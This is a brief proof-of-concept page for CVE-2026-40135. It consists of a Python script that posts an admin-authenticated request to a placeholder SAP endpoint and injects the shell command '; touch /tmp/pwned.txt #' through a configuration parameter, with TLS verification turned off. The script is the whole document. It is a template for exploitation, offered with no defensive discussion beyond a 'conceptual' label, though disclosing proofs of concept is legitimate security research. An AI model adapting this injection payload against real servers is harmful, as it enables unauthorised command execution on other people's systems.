CVE-2026-40135

# Proof of Concept (Conceptual) # This script demonstrates how an authenticated admin might exploit the command injection. # Note: Actual endpoints require specific knowledge of the vulnerable SAP service. import requests # Target URL (Example) target_url = "https://<sap-server>/vulnerable_endpoint" # Attacker's session cookie (Admin privileges required) session_cookie = {"sap-usercontext": "admin_session_token"} # Payload attempting to inject a shell command (e.g., creating a file) # The injection point depends on the vulnerable parameter, here assumed to be 'config_param' payload = "; touch /tmp/pwned.txt #" params = { "action": "update_config", "config_param": payload # Malicious input } try: response = requests.post(target_url, data=params, cookies=session_cookie, verify=False) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Server response: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")
